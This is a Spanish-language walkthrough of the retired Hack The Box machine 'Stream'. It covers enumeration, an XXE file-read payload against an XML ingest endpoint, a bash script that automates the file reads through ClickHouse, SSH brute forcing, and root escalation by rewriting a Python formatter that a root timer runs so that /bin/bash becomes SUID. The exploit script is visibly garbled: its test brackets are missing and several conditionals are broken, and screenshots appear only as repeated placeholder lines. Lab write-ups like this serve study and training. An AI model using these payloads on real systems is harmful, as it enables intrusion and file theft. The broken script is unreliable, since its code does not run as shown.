XUT_ / MACHINES / HTB

0103

Stream

HTBMACHINERETIREDMEDIUMSEASON 12
ClickHouseCommand ExecutionCredential CaptureDatabaseDNS EnumerationEnumerationHTTPHydraKafkaKopiaLFILinuxPassword CrackingPort ScanningPrivilege EscalationPythonRCEScheduled Task AbuseService AbuseSSHSubdomain EnumerationWeb EnumerationXXE

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando los puertos abiertos.

Getting the Flags

Ahora vamos a analizar dichos puertos más en profundidad.

Getting the Flags

Vamos a investigar posibles rutas con gobuster. Primero del puerto 80.

Getting the Flags

Y luego del puerto 8081:

Getting the Flags

Vamos a ver cómo son las webs. Primero la del puerto 80.

CAUTION

La URL http://stream.htb (porque ya hemos metido en /etc/hosts la IP con stream.htb) nos redirige a http://api.htb-airport así que lo metemos en /etc/hosts.

Getting the Flags

Vamos a buscar subdominios. Sólo encontramos esto:

Getting the Flags

Así que metemos ambos en /etc/hosts. Vamos a enumerar ahora para esta URL, ya que es nueva.

Getting the Flags


Profundización

Vamos a analizar todos los archivos y directorios que hemos conseguido.

Getting the Flags

Tenemos una ruta que ingesta XML, sugiere que puede darse una XXE injection. Además vemos varias cosas muy interesantes.

  • Los elementos requeridos para la petición:
    • IATA_AIDX_FlightLegNotifRQ
    • Originator
    • FlightLeg
    • LegIdentifier
  • La ruta que ingesta los XML: /feeds/aidx.
  • Que la ingesta no parsea, sino que el parseo se realiza más adelante en el flujo.

De todas las rutas que hemos sacado hay otra que es interesante: /actuator.

Getting the Flags

Si vamos a ella se nos descarga un archivo.

Sensitive Information Disclosure

Vamos a investigarlo. Es muy grande por lo que vamos a filtrar.

bash
strings heapdump | grep -i -B 5 -A 5 "username"

Con este comando encontramos unas credenciales:


Explotación

LFI via XXE Ijection

Ahora vamos a probar a mandar una petición XML maliciosa para realizar la XXE. Después de probar un poco vemos que es esta:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE IATA_AIDX_FlightLegNotifRQ [
<!ENTITY xxe SYSTEM "file://FILE_PATH">
]>
<IATA_AIDX_FlightLegNotifRQ Version="22.1" TransactionIdentifier="TX_ID">
  <Originator>TEST</Originator>
  <FlightLeg>
    <LegIdentifier>&xxe;</LegIdentifier>
  </FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
NOTE

Cambia el TX_ID y el FILE_PATH.

Después de guardarnos la petición la mandamos.

Getting the Flags

Cuando recibamos la respuesta de que todo esta OK, intentamos conectarnos a la base de datos para leer si se ha llevado a cabo la inyección correctamente.

IMPORTANT

Para saber a dónde mandar la petición, primero hay que enumerar la base de datos:

Durante esta fase de enumeración encontramos que el cliente utilizado es clickhouse:

Getting the Flags

Además podemos listar la DB con la contraseña y el usuario.

Getting the Flags

Se ha omitido esta parte por agilidad. El resultado es que sí hay XXE.


Inciso: Rabbit Hole

CAUTION

Se pueden llegar a sacar credenciales para el usuario svc-infra desde el XXE, pero esto es una pérdida de tiempo.

Se puede realizar un exploit como el siguiente:

bash
#!/usr/bin/env bash

set -u

CH='http://db.htb-airport.htb'
AUTH='svc_events:[REDACTED]'
ENDPOINT='http://stream.htb:8081/feeds/aidx'
TEMPLATE="$HOME/xxe-template.xml"

if ! -f "$TEMPLATE"; then
    echo "[!] No encuentro la plantilla: $TEMPLATE"
    exit 1
fi

for tool in /usr/bin/curl /usr/bin/python3 /usr/bin/sed; do
    if ! -x "$tool"; then
        echo "[!] Falta la herramienta: $tool"
        exit 1
    fi
done

read_file() {
    local path="$1"
    local id="tx-xread-$(date +%s)-$$"
    local xml="/tmp/${id}.xml"
    local response
    local query
    local attempt
    local found=0

    if '* || "$path" == *$'\n'*; then
        echo "[!] Ruta no válida."
        return 1
    fi

    # Construir el XML sin interpretar caracteres especiales
    # de la ruta como sustituciones de sed.
    /usr/bin/python3 - "$TEMPLATE" "$xml" "$id" "$path" <<'PY'
import sys

template_path, output_path, txid, filepath = sys.argv[1:]
with open(template_path, "r", encoding="utf-8") as f:
    xml = f.read()

xml = xml.replace("TX_ID", txid)
xml = xml.replace("FILE_PATH", filepath)

with open(output_path, "w", encoding="utf-8") as f:
    f.write(xml)
PY

    if $? -ne 0; then
        echo "[!] No se pudo generar el XML."
        return 1
    fi

    echo "[*] Ruta: $path"
    response=$(/usr/bin/curl -sS --max-time 10 \
        -X POST "$ENDPOINT" \
        -H 'Content-Type: application/xml' \
        --data-binary "@$xml")
    local post_status=$?
    /usr/bin/rm -f "$xml"

    if $post_status -ne 0; then
        echo "[!] Falló la petición HTTP de ingesta."
        return 1
    fi

    echo "[*] Respuesta de ingesta: $response"
    echo "[*] Consultando ClickHouse hasta 8 veces..."

    query="
    SELECT
        JSONExtractString(event, 'leg', 'all_fields', 'LegIdentifier') AS result
    FROM partner_feed.flightleg_json
    WHERE position(event, '${id}') > 0
    LIMIT 1
    FORMAT JSON
    "

    for attempt in {1..8}; do
        local result

        result=$(/usr/bin/curl -sS --max-time 5 \
            -u "$AUTH" "$CH/" \
            --data-binary "$query" 2>&1)

        if $? -eq 0; then
            if /usr/bin/python3 -c '
import json, sys
try:
    d = json.load(sys.stdin)
    rows = d.get("data", [])
    if not rows:
        sys.exit(1)
    value = rows[0].get("result", "")
    print(value, end="")
except Exception:
    sys.exit(2)
' <<< "$result" > "/tmp/${id}.result"; then
                found=1
                echo
                echo "--- CONTENIDO RECUPERADO ---"
                /usr/bin/cat "/tmp/${id}.result"
                echo
                echo "--- FIN ---"
                /usr/bin/rm -f "/tmp/${id}.result"
                return 0
            fi
        fi

        echo "[*] Intento $attempt/8: aún sin fila recuperable."
        /usr/bin/sleep 2
    done

    /usr/bin/rm -f "/tmp/${id}.result"
    echo "[!] No apareció una fila con este identificador tras los reintentos."
    echo "[!] Esto no demuestra por sí solo que el archivo sea ilegible."
    return 1
}

if $; then
    read_file "$1"
    exit $?
fi

while true; do
    printf '\nRuta absoluta del archivo (o q para salir): '
    IFS= read -r path

    | "$path" == "quit" && break
    -z "$path" && continue

    read_file "$path"
done

Este script recoge la plantilla XML que hemos creado antes y la manda con la ruta que le especifiquemos e intenta leer la salida de la base de datos. El caso es que como es una instalación de kafka, buscando en internet podemos saber cómo se llaman los archivos de configuración (server.properties). Aunque es un poco difícil de encontrar su ruta.

Getting the Flags

Si rebuscamos un poco en este archivo, podemos obtener las credenciales de este usuario.

Getting the Flags

Sin embargo es un rabbit hole, el usuario svc-infra no nos da nada que no podamos conseguir con martin_cole y encima ni siquiera puede leer la flag user.txt ni facilita la escalada de privilegios hacia root.

Fin del Inciso


SSH Bruteforcing

Ahora tenemos otro nombre de usuario. Con este usuario vamos a realizar un ataque de fuerza bruta.

Getting the Flags

Con estas credenciales iniciamos sesión con martin_cole por SSH. Una vez dentro podemos leer la primera flag.


Escalada de Privilegios

Custom Service and Timers Misconfiguration

Ahora toca escalar privilegios. Después de agotar todas las vías convencionales listamos servicios, timers, etc. Y encontramos lo siguiente:

Getting the Flags

Hay un timer que se ejecuta cada dos minutos. Vamos a ver qué hay dentro.

Getting the Flags

Parece que ejecuta cada dos minutos, como root un script. Vamos a ver qué es y que permisos tiene (-rwxr--r--, no es escribible por nosotros). El código es el siguiente:

python
#!/usr/bin/env python3
import os, subprocess, time, uuid
from confluent_kafka import Consumer, KafkaError

KAFKA_BOOTSTRAP = os.environ.get("KAFKA_BOOTSTRAP", "localhost:9092")
DLQ_TOPIC = os.environ.get("DLQ_TOPIC", "aidx.flightleg.dlq.v1")
GROUP_ID = os.environ.get("GROUP_ID", "aidx-dlq-drainer")
QUARANTINE_DIR = os.environ.get("QUARANTINE_DIR", "/var/lib/aidx/quarantine")
FORMATTER = os.environ.get("AIDX_FORMATTER",
                           "/var/lib/clickhouse/user_files/aidx_quarantine.py")
CH_PW_FILE = os.environ.get("CH_PW_FILE", "/etc/partner-sync/ch.pw")
DRAIN_SECONDS = int(os.environ.get("DRAIN_SECONDS", "10"))

def _pw():
    try:
        with open(CH_PW_FILE) as fh: return fh.read().strip()
    except OSError: return ""

def _record(reason, byte_len, root_tag, preview, qfile):
    def esc(s): return s.replace("\\", "\\\\").replace("'", "\\'")
    q = ("INSERT INTO aidx_ops.failed_ingest "
         "(id, reason, byte_len, root_tag, preview, quarantine_path, received_at) "
         f"VALUES ('{esc(uuid.uuid4().hex)}', '{esc(reason)}', {int(byte_len or 0)}, "
         f"'{esc(root_tag)}', '{esc(preview)}', '{esc(qfile)}', now())")
    subprocess.run(["clickhouse-client", "--user", "default",
                    "--password", _pw(), "-q", q], check=False)

def _format(raw):
    p = subprocess.run(["python3", FORMATTER], input=raw,
                       capture_output=True, check=False)
    parts = p.stdout.decode("utf-8", "replace").strip().split("\t")
    return tuple(parts) if len(parts) == 3 else (str(len(raw)), "UNKNOWN", "")

def main():
    os.makedirs(QUARANTINE_DIR, exist_ok=True)
    c = Consumer({"bootstrap.servers": KAFKA_BOOTSTRAP, "group.id": GROUP_ID,
                  "auto.offset.reset": "earliest", "enable.auto.commit": False})
    c.subscribe([DLQ_TOPIC])
    deadline = time.time() + DRAIN_SECONDS
    while time.time() < deadline:
        msg = c.poll(1.0)
        if msg is None: continue
        if msg.error():
            if msg.error().code() == KafkaError._PARTITION_EOF: continue
            continue
        raw = msg.value() or b""
        reason = "unknown"
        for k, v in (msg.headers() or []):
            if k == "reason": reason = (v or b"").decode("utf-8", "replace"); break
        qfile = os.path.join(QUARANTINE_DIR, f"{int(time.time())}_{uuid.uuid4().hex[:8]}.xml")
        try:
            with open(qfile, "wb") as fh: fh.write(raw)
        except OSError: qfile = ""
        byte_len, root_tag, preview = _format(raw)
        _record(reason, byte_len, root_tag, preview, qfile)
        c.commit(msg, asynchronous=False)
    c.close()

if __name__ == "__main__":
    main()

Lo que nos interesa a nosotros es este snippet:

python
[...]
def _format(raw):
	p = subprocess.run(["python3", FORMATTER][...]
[...]

Además, en la parte de arriba del script está la definición de FORMATTER:

python
[...]
FORMATTER = os.environ.get("AIDX_FORMATTER", "/var/lib/clickhouse/user_files/aidx_quarantine.py")
[...]

Para que la función _format() sea llamada se tienen que cumplir algunos requisitos:

Getting the Flags

Vamos a ver entonces si podemos escribir el archivo de quarantine.py.

Getting the Flags

Parece que sólo el usuario clickhouse puede. Vamos a seguir investigando.

Getting the Flags

Parece que martin_cole tiene backups en su home.

Credential Extraction - Backups Error Logs

Vamos a intentar leer lo que contienen.

Getting the Flags

Parece que la contraseña SSH de martin_cole ha sido reutilizada.

Getting the Flags

Vamos a leer los archivos.

Getting the Flags

Acabamos de encontrar las credenciales del usuario default con:

bash
clickhouse-client --user default --password '[REDACTED]'

Clickhouse System File Tampering

Ahora vamos a probar a ver qué puede escribir este usuario.

Getting the Flags

Parece que podemos escribir en el archivo, pero en modo append. Para sobrescribirlo, creamos una tabla temporal que utilice el motor File sobre ese archivo. Así podemos gestionar su contenido mediante SQL.

Getting the Flags

Ahora lo reescribimos para darnos una reverse shell, leer /root/root.txt o cambiar los permisos de /bin/bash a SUID.

Getting the Flags

Ahora miramos a ver si ha funcionado.

Getting the Flags

Vemos que el timer ha llegado pero el binario no ha cambiado de permisos. Para que cambie necesitamos el mensaje erroneo.

Getting the Flags

Y ahora volvemos a comprobar.

Getting the Flags

Ahora sí. Ahora sólo ejecutamos el binario.


Conclusión

Una máquina con un vector de foothold tan sencillo que de lo sencillo que era resultaba difícil hasta imaginárselo. ¿Cómo iba a funcionar un ataque de fuerza bruta contra SSH en una Medium de HTB? Pues así era. Quizás el camino más lógico hubiera sido que hubiera habido que pivotar hacia martin_cole desde el usuario svc-infra. Pero al fin y al cabo esto es lo que hay.

El vector de escalada de privilegios por el contrario era bastante más enrevesado y a la par más satisfactorio de encontrar.

En definitiva, en esta máquina hemos trabajado:

  • Enumeración.
  • Descubrimiento de vhosts.
  • XXE.
  • LFI.
  • Desarrollo de exploits.
  • Recuperación de backups con kopia.
  • Fuerza bruta con hydra.
  • Ejecución de comandos con clickhouse-client.

En resumen, no ha estado mal, pero la primera parte (la del foothold) no ha tenido mucho sentido.

SUCCESS

Hemos conseguido ambas flags!!